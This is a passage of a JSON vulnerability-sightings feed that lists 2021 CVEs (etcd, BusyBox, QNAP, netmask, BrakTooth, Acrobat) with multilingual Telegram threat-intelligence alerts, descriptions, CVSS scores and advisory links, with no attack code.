\u0411\u043b\u043e\u0433 \u041a\u043e\u0434\u0435\u0431\u0430\u0439\n\n#news #lenovo #vulnerability", "creation_timestamp": "2022-09-15T13:07:32.000000Z"}, {"uuid": "d5c42cef-3754-4bbc-ac8a-37a541585d1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28235", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4476", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-28235\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2023-04-04T15:15:08.507\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. http://etcd.com\n2. https://github.com/etcd-io/etcd\n3. https://github.com/etcd-io/etcd/pull/15648\n4. https://github.com/lucyxss/etcd-3.4.10-test/blob/master/temp4cj.png\n5. https://github.com/lucyxss/etcd-3.4.10-test/blob/master/temp4cj_2.png\n6. http://etcd.com\n7. https://github.com/etcd-io/etcd\n8. https://github.com/etcd-io/etcd/pull/15648\n9. https://github.com/lucyxss/etcd-3.4.10-test/blob/master/temp4cj.png\n10. https://github.com/lucyxss/etcd-3.4.10-test/blob/master/temp4cj_2.png", "creation_timestamp": "2025-02-14T19:11:57.000000Z"}, {"uuid": "0e0374f9-cb1e-41d1-b53c-f9c1ede1720e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28254", "type": "published-proof-of-concept", "source": "Telegram/b8pE1uyYjcpAx606oP52vG0GPeg0vTe6CkZMd4rswzCMYLs", "content": "", "creation_timestamp": "2025-10-08T02:55:55.000000Z"}, {"uuid": "cc4aeba9-8faf-4c26-bcf1-f6e34e888f8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28861", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5901", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1300\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: CodeChecker is an analyzer tooling, defect database and viewer extension for the Clang Static Analyzer and Clang Tidy. \n\nThe CodeChecker web server contains an open redirect vulnerability due to missing protections against multiple slashes after the product name in the URL. This results in bypassing the protections against CVE-2021-28861, leading to the same open redirect pathway.\n\nThis issue affects CodeChecker: through 6.24.5.\n\ud83d\udccf Published: 2025-02-28T12:47:19.205Z\n\ud83d\udccf Modified: 2025-02-28T12:47:19.205Z\n\ud83d\udd17 References:\n1. https://github.com/Ericsson/codechecker/security/advisories/GHSA-g839-x3p3-g5fm", "creation_timestamp": "2025-02-28T13:27:11.000000Z"}, {"uuid": "6dfc075f-2ee7-4205-844d-1138e6d1b15f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28831", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15843", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2021-28831\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:H/C:N/I:N/PR:N/S:U/UI:N)\n\ud83d\udd39 Description: decompress_gunzip.c in BusyBox through 1.32.1 mishandles the error bit on the huft_build result pointer, with a resultant invalid free or segmentation fault, via malformed gzip data.\n\ud83d\udccf Published: 2021-03-19T04:01:54.000Z\n\ud83d\udccf Modified: 2025-05-09T20:03:30.384Z\n\ud83d\udd17 References:\n1. https://git.busybox.net/busybox/commit/?id=f25d254dfd4243698c31a4f3153d4ac72aa9e9bd\n2. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZASBW7QRRLY5V2R44MQ4QQM4CZIDHM2U/\n3. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Z7ZIFKPRR32ZYA3WAA2NXFA3QHHOU6FJ/\n4. https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3UDQGJRECXFS5EZVDH2OI45FMO436AC4/\n5. https://lists.debian.org/debian-lts-announce/2021/04/msg00001.html\n6. https://security.gentoo.org/glsa/202105-09", "creation_timestamp": "2025-05-09T20:26:19.000000Z"}, {"uuid": "45ef78eb-472d-4e7f-8c23-1541638a84e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/cKure/5270", "content": "\u25a0\u25a1\u25a1\u25a1\u25a1 CVE-2021-28550: Adobe Issues Patch for Acrobat Zero-Day.\n\nhttps://www.darkreading.com/vulnerabilities---threats/adobe-issues-patch-for-acrobat-zero-day/d/d-id/1340983", "creation_timestamp": "2021-05-12T13:16:45.000000Z"}, {"uuid": "bd789f7b-e2ab-44de-ac39-1654b477e0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/491", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aA basic PoC leak for CVE-2021-28663 (Internal of the Android kernel backdoor vulnerability)\nURL\uff1ahttps://github.com/AlAIAL90/CVE-2021-28164", "creation_timestamp": "2021-09-02T09:51:47.000000Z"}, {"uuid": "e595db5e-d157-41f9-8f69-e0275bde5cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "Telegram/kY2fNljGOGDepf8HmWYBRM6aPIpDZMxAdiPSEQJGkdOslRcC", "content": "", "creation_timestamp": "2021-05-22T13:20:40.000000Z"}, {"uuid": "97e9d253-8395-45cc-886a-801f72195dbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "Telegram/fKYCYTpidtTLIalbI8SvuUxKCSSNn--CKZjLb7jTZvHE2VCS", "content": "", "creation_timestamp": "2021-05-22T02:52:22.000000Z"}, {"uuid": "43083f76-ab0b-4812-9a24-370de9c42914", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "Telegram/c9Dma8iydLkBdImjfvuHvFxOwdnZNkvZiWtyeYJYgPUomhiw", "content": "", "creation_timestamp": "2021-05-30T01:39:32.000000Z"}, {"uuid": "f8db12ab-117f-4b33-b019-2758e5dafd23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28918", "type": "seen", "source": "https://t.me/BleepingComputer/9426", "content": "Critical netmask networking bug impacts thousands of applications\n\nPopular npm component netmask\u00a0has a critical networking vulnerability, CVE-2021-28918. netmask\u00a0is frequently used by hundreds of thousands of applications to parse IPv4 addresses and CIDR blocks or compare them. The component gets over 3 million weekly downloads, and as of today, has scored over 238 million total downloads. [...]\n\nhttps://www.bleepingcomputer.com/news/security/critical-netmask-networking-bug-impacts-thousands-of-applications/", "creation_timestamp": "2021-03-28T20:39:57.000000Z"}, {"uuid": "6bc7738d-8d56-4ef8-85a9-a251eecdf32f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://t.me/CyberGovIL/1383", "content": "Com13103 | [\u05e2\u05d3\u05db\u05d5\u05df] \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 QNAP\n\n\u05d7\u05d1\u05e8\u05ea QNAP \u05e4\u05e8\u05e1\u05de\u05d4 \u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05de\u05e1\u05e4\u05e8 \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d0\u05d1\u05d8\u05d7\u05d4 \u05e2\u05d1\u05d5\u05e8 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d4\u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05dc\u05ea\u05e7\u05d5\u05e3 \u05d1\u05e9\u05d9\u05d8\u05d5\u05ea \u05e9\u05d5\u05e0\u05d5\u05ea \u05e6\u05d9\u05d5\u05d3 \u05de\u05ea\u05d5\u05e6\u05e8\u05ea\u05d4.\n\n2. [\u05e2\u05d3\u05db\u05d5\u05df] \u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05d3\u05d5\u05d5\u05d7 \u05e2\u05dc \u05e7\u05de\u05e4\u05d9\u05d9\u05df \u05d4\u05e2\u05d5\u05e9\u05d4 \u05e9\u05d9\u05de\u05d5\u05e9 \u05d7\u05d5\u05d6\u05e8 \u05d1\u05d0\u05d7\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2021-28799) \u05dc\u05d4\u05ea\u05e7\u05e0\u05ea \u05d4\u05db\u05d5\u05e4\u05e8\u05d4 QLocker \u05e2\u05dc \u05d4\u05e6\u05d9\u05d5\u05d3.\n\n3. [\u05e2\u05d3\u05db\u05d5\u05df] \u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d1\u05d7\u05d5\u05df \u05d5\u05dc\u05d4\u05ea\u05e7\u05d9\u05df \u05d1\u05d4\u05e7\u05d3\u05dd \u05d0\u05ea \u05d4\u05d2\u05e8\u05e1\u05d0\u05d5\u05ea \u05d4\u05e2\u05d3\u05db\u05e0\u05d9\u05d5\u05ea \u05d1\u05d9\u05d5\u05ea\u05e8 \u05e9\u05e4\u05d5\u05e8\u05e1\u05de\u05d5 \u05e2\u05dc-\u05d9\u05d3\u05d9 \u05d4\u05d7\u05d1\u05e8\u05d4.", "creation_timestamp": "2022-01-18T23:46:04.000000Z"}, {"uuid": "d344cfda-58c6-4f4b-81f3-d8ca0c18ce23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28799", "type": "exploited", "source": "https://t.me/CyberGovIL/1261", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9   Com6231 | QNAP\n\n\u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05e4\u05e8\u05e1\u05de\u05d4 \u05d7\u05d1\u05e8\u05ea QNAP  \u05d4\u05ea\u05e8\u05e2\u05d5\u05ea \u05dc\u05d2\u05d1\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9\u05d4.\n\n\u05d0\u05d7\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2021-28799), \u05d1\u05e8\u05db\u05d9\u05d1 HBS3 \u05d1\u05e6\u05d9\u05d5\u05d3 NAS  \u05de\u05ea\u05d5\u05e6\u05e8\u05ea \u05d4\u05d7\u05d1\u05e8\u05d4, \u05e0\u05d5\u05e6\u05dc\u05d4 \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05de\u05e4\u05e2\u05d9\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d5\u05e4\u05e8\u05d4 Qlocker.\n\n\u05e8\u05d0\u05d5 \u05d2\u05dd \u05e4\u05e8\u05e1\u05d5\u05de\u05e0\u05d5 https://www.gov.il/he/departments/publications/reports/qnap_1307.\n\n\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e0\u05d5\u05e1\u05e4\u05ea (CVE-2021-28798), \u05de\u05e1\u05d5\u05d2 Relative Path Traversal, \u05e2\u05dc\u05d5\u05dc\u05d4 \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e9\u05d9\u05e0\u05d5\u05d9 \u05e7\u05d1\u05e6\u05d9\u05dd \u05e2\u05dc \u05d4\u05e6\u05d9\u05d5\u05d3 \u05d1\u05d0\u05d5\u05e4\u05df \u05d4\u05e4\u05d5\u05d2\u05e2 \u05d1\u05e9\u05dc\u05de\u05d5\u05ea (Integrity) \u05d4\u05e6\u05d9\u05d5\u05d3.\n\n\u05d1\u05e0\u05d5\u05e1\u05e3 \u05e4\u05e8\u05e1\u05de\u05d4 \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d4\u05ea\u05e8\u05e2\u05d5\u05ea \u05dc\u05d2\u05d1\u05d9 \u05e4\u05e2\u05d9\u05dc\u05d5\u05d9\u05d5\u05ea \u05d7\u05e9\u05d5\u05d3\u05d5\u05ea \u05e9\u05e0\u05e6\u05e4\u05d5 \u05db\u05e0\u05d2\u05d3 \u05e6\u05d9\u05d5\u05d3 \u05de\u05ea\u05d5\u05e6\u05e8\u05ea\u05d4, \u05e2\u05dc \u05d9\u05d3\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05de\u05e4\u05e2\u05d9\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d5\u05e4\u05e8\u05d4 eCh0raix, \u05d5\u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e4\u05d5\u05e2\u05dc\u05d9\u05dd \u05db\u05e0\u05d2\u05d3 \u05e8\u05db\u05d9\u05d1 \u05e6\u05d3 \u05d2' \u05d1\u05e9\u05dd Roon Server, \u05d5\u05d4\u05de\u05dc\u05e6\u05d5\u05ea \u05db\u05d9\u05e6\u05d3 \u05dc\u05d4\u05ea\u05de\u05d5\u05d3\u05d3 \u05e2\u05d9\u05de\u05df.\n\n\u05d3\u05e8\u05db\u05d9 \u05d4\u05ea\u05de\u05d5\u05d3\u05d3\u05d5\u05ea\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d1\u05d7\u05d5\u05df \u05d5\u05dc\u05d4\u05ea\u05e7\u05d9\u05df \u05d0\u05ea \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d4\u05d0\u05d1\u05d8\u05d7\u05d4 \u05e9\u05e4\u05d5\u05e8\u05e1\u05de\u05d5 \u05e2\u05dc-\u05d9\u05d3\u05d9 \u05d7\u05d1\u05e8\u05ea QNAP. \u05d4\u05d5\u05e8\u05d0\u05d5\u05ea \u05dc\u05e2\u05d3\u05db\u05d5\u05df \u05d4\u05e6\u05d9\u05d5\u05d3 \u05de\u05d5\u05e4\u05d9\u05e2\u05d5\u05ea \u05d1\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd \u05d4\u05de\u05e4\u05d5\u05e8\u05d8\u05d9\u05dd \u05d1\u05e1\u05e2\u05d9\u05e3 \"\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\" \u05dc\u05d4\u05dc\u05df.\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05e4\u05e2\u05d5\u05dc \u05e2\u05dc \u05e4\u05d9 \u05d4\u05de\u05dc\u05e6\u05d5\u05ea \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d1\u05e0\u05d5\u05e9\u05d0 \u05d4\u05e4\u05e2\u05d9\u05dc\u05d5\u05d9\u05d5\u05ea \u05d4\u05d7\u05e9\u05d5\u05d3\u05d5\u05ea. \u05e8\u05d0\u05d5 \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd \u05d4\u05de\u05e4\u05d5\u05e8\u05d8\u05d9\u05dd \u05d1\u05e1\u05e2\u05d9\u05e3 \"\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\" \u05dc\u05d4\u05dc\u05df.\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d4\u05d2\u05d1\u05d9\u05dc \u05d4\u05d2\u05d9\u05e9\u05d4 \u05dc\u05e6\u05d9\u05d5\u05d3 QNAP \u05dc\u05e8\u05e9\u05ea \u05d4\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05ea, \u05d5\u05d1\u05e4\u05e8\u05d8 \u05dc\u05de\u05e0\u05d5\u05e2 \u05d2\u05d9\u05e9\u05d4 \u05dc\u05e6\u05d9\u05d5\u05d3 \u05de\u05e8\u05e9\u05ea \u05d4\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05d0\u05dd \u05de\u05e1\u05d9\u05d1\u05d4 \u05e2\u05e1\u05e7\u05d9\u05ea \u05e0\u05d3\u05e8\u05e9\u05ea \u05d2\u05d9\u05e9\u05d4 \u05de\u05e1\u05d5\u05d2 \u05d6\u05d4, \u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d9\u05d9\u05e9\u05de\u05d4 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05e4\u05ea\u05e8\u05d5\u05df \u05db\u05d2\u05d5\u05df VPN \u05e2\u05dd \u05d4\u05d6\u05d3\u05d4\u05d5\u05ea \u05d7\u05d6\u05e7\u05d4 \u05d5\u05d4\u05e6\u05e4\u05e0\u05d4 \u05de\u05ea\u05d0\u05d9\u05de\u05d4.\n\n\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-12\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-14\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-17\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-18", "creation_timestamp": "2021-05-23T16:44:35.000000Z"}, {"uuid": "60ea81a2-bf4e-4e6f-942b-370c2db67298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28798", "type": "exploited", "source": "https://t.me/CyberGovIL/1261", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9   Com6231 | QNAP\n\n\u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05e4\u05e8\u05e1\u05de\u05d4 \u05d7\u05d1\u05e8\u05ea QNAP  \u05d4\u05ea\u05e8\u05e2\u05d5\u05ea \u05dc\u05d2\u05d1\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9\u05d4.\n\n\u05d0\u05d7\u05ea \u05d4\u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea (CVE-2021-28799), \u05d1\u05e8\u05db\u05d9\u05d1 HBS3 \u05d1\u05e6\u05d9\u05d5\u05d3 NAS  \u05de\u05ea\u05d5\u05e6\u05e8\u05ea \u05d4\u05d7\u05d1\u05e8\u05d4, \u05e0\u05d5\u05e6\u05dc\u05d4 \u05d1\u05e4\u05d5\u05e2\u05dc \u05e2\u05dc \u05d9\u05d3\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05de\u05e4\u05e2\u05d9\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d5\u05e4\u05e8\u05d4 Qlocker.\n\n\u05e8\u05d0\u05d5 \u05d2\u05dd \u05e4\u05e8\u05e1\u05d5\u05de\u05e0\u05d5 https://www.gov.il/he/departments/publications/reports/qnap_1307.\n\n\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e0\u05d5\u05e1\u05e4\u05ea (CVE-2021-28798), \u05de\u05e1\u05d5\u05d2 Relative Path Traversal, \u05e2\u05dc\u05d5\u05dc\u05d4 \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e9\u05d9\u05e0\u05d5\u05d9 \u05e7\u05d1\u05e6\u05d9\u05dd \u05e2\u05dc \u05d4\u05e6\u05d9\u05d5\u05d3 \u05d1\u05d0\u05d5\u05e4\u05df \u05d4\u05e4\u05d5\u05d2\u05e2 \u05d1\u05e9\u05dc\u05de\u05d5\u05ea (Integrity) \u05d4\u05e6\u05d9\u05d5\u05d3.\n\n\u05d1\u05e0\u05d5\u05e1\u05e3 \u05e4\u05e8\u05e1\u05de\u05d4 \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d4\u05ea\u05e8\u05e2\u05d5\u05ea \u05dc\u05d2\u05d1\u05d9 \u05e4\u05e2\u05d9\u05dc\u05d5\u05d9\u05d5\u05ea \u05d7\u05e9\u05d5\u05d3\u05d5\u05ea \u05e9\u05e0\u05e6\u05e4\u05d5 \u05db\u05e0\u05d2\u05d3 \u05e6\u05d9\u05d5\u05d3 \u05de\u05ea\u05d5\u05e6\u05e8\u05ea\u05d4, \u05e2\u05dc \u05d9\u05d3\u05d9 \u05e7\u05d1\u05d5\u05e6\u05ea \u05ea\u05e7\u05d9\u05e4\u05d4 \u05d4\u05de\u05e4\u05e2\u05d9\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d5\u05e4\u05e8\u05d4 eCh0raix, \u05d5\u05e2\u05dc \u05d9\u05d3\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05d4\u05e4\u05d5\u05e2\u05dc\u05d9\u05dd \u05db\u05e0\u05d2\u05d3 \u05e8\u05db\u05d9\u05d1 \u05e6\u05d3 \u05d2' \u05d1\u05e9\u05dd Roon Server, \u05d5\u05d4\u05de\u05dc\u05e6\u05d5\u05ea \u05db\u05d9\u05e6\u05d3 \u05dc\u05d4\u05ea\u05de\u05d5\u05d3\u05d3 \u05e2\u05d9\u05de\u05df.\n\n\u05d3\u05e8\u05db\u05d9 \u05d4\u05ea\u05de\u05d5\u05d3\u05d3\u05d5\u05ea\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d1\u05d7\u05d5\u05df \u05d5\u05dc\u05d4\u05ea\u05e7\u05d9\u05df \u05d0\u05ea \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d4\u05d0\u05d1\u05d8\u05d7\u05d4 \u05e9\u05e4\u05d5\u05e8\u05e1\u05de\u05d5 \u05e2\u05dc-\u05d9\u05d3\u05d9 \u05d7\u05d1\u05e8\u05ea QNAP. \u05d4\u05d5\u05e8\u05d0\u05d5\u05ea \u05dc\u05e2\u05d3\u05db\u05d5\u05df \u05d4\u05e6\u05d9\u05d5\u05d3 \u05de\u05d5\u05e4\u05d9\u05e2\u05d5\u05ea \u05d1\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd \u05d4\u05de\u05e4\u05d5\u05e8\u05d8\u05d9\u05dd \u05d1\u05e1\u05e2\u05d9\u05e3 \"\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\" \u05dc\u05d4\u05dc\u05df.\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05e4\u05e2\u05d5\u05dc \u05e2\u05dc \u05e4\u05d9 \u05d4\u05de\u05dc\u05e6\u05d5\u05ea \u05d4\u05d7\u05d1\u05e8\u05d4 \u05d1\u05e0\u05d5\u05e9\u05d0 \u05d4\u05e4\u05e2\u05d9\u05dc\u05d5\u05d9\u05d5\u05ea \u05d4\u05d7\u05e9\u05d5\u05d3\u05d5\u05ea. \u05e8\u05d0\u05d5 \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd \u05d4\u05de\u05e4\u05d5\u05e8\u05d8\u05d9\u05dd \u05d1\u05e1\u05e2\u05d9\u05e3 \"\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\" \u05dc\u05d4\u05dc\u05df.\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d4\u05d2\u05d1\u05d9\u05dc \u05d4\u05d2\u05d9\u05e9\u05d4 \u05dc\u05e6\u05d9\u05d5\u05d3 QNAP \u05dc\u05e8\u05e9\u05ea \u05d4\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05ea, \u05d5\u05d1\u05e4\u05e8\u05d8 \u05dc\u05de\u05e0\u05d5\u05e2 \u05d2\u05d9\u05e9\u05d4 \u05dc\u05e6\u05d9\u05d5\u05d3 \u05de\u05e8\u05e9\u05ea \u05d4\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05d0\u05dd \u05de\u05e1\u05d9\u05d1\u05d4 \u05e2\u05e1\u05e7\u05d9\u05ea \u05e0\u05d3\u05e8\u05e9\u05ea \u05d2\u05d9\u05e9\u05d4 \u05de\u05e1\u05d5\u05d2 \u05d6\u05d4, \u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d9\u05d9\u05e9\u05de\u05d4 \u05d1\u05d0\u05de\u05e6\u05e2\u05d5\u05ea \u05e4\u05ea\u05e8\u05d5\u05df \u05db\u05d2\u05d5\u05df VPN \u05e2\u05dd \u05d4\u05d6\u05d3\u05d4\u05d5\u05ea \u05d7\u05d6\u05e7\u05d4 \u05d5\u05d4\u05e6\u05e4\u05e0\u05d4 \u05de\u05ea\u05d0\u05d9\u05de\u05d4.\n\n\u05de\u05e7\u05d5\u05e8\u05d5\u05ea\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-12\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-14\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-17\n\nhttps://www.qnap.com/en/security-advisory/qsa-21-18", "creation_timestamp": "2021-05-23T16:44:35.000000Z"}, {"uuid": "8d8aedb1-122c-417d-86e5-dd6be330ae37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28139", "type": "seen", "source": "https://t.me/YouPentest/2513", "content": "Bluetooth \u0441\u043d\u043e\u0432\u0430 \u0432\u0441\u0435\u0445 \u043f\u043e\u0440\u0430\u0434\u043e\u0432\u0430\u043b \u0434\u044b\u0440\u0430\u043c\u0438. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u043b\u0438 16 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u0441\u0442\u0435\u043a\u0430 Bluetooth, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0432\u0435\u043d\u0434\u043e\u0440\u0430\u043c\u0438. \u0412\u0441\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c BrakTooth. \n\n\u041e\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0442\u044c \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u043e\u0432, \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432, \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 IoT-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \n\n\u0421\u0430\u043c\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2021-28139. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e 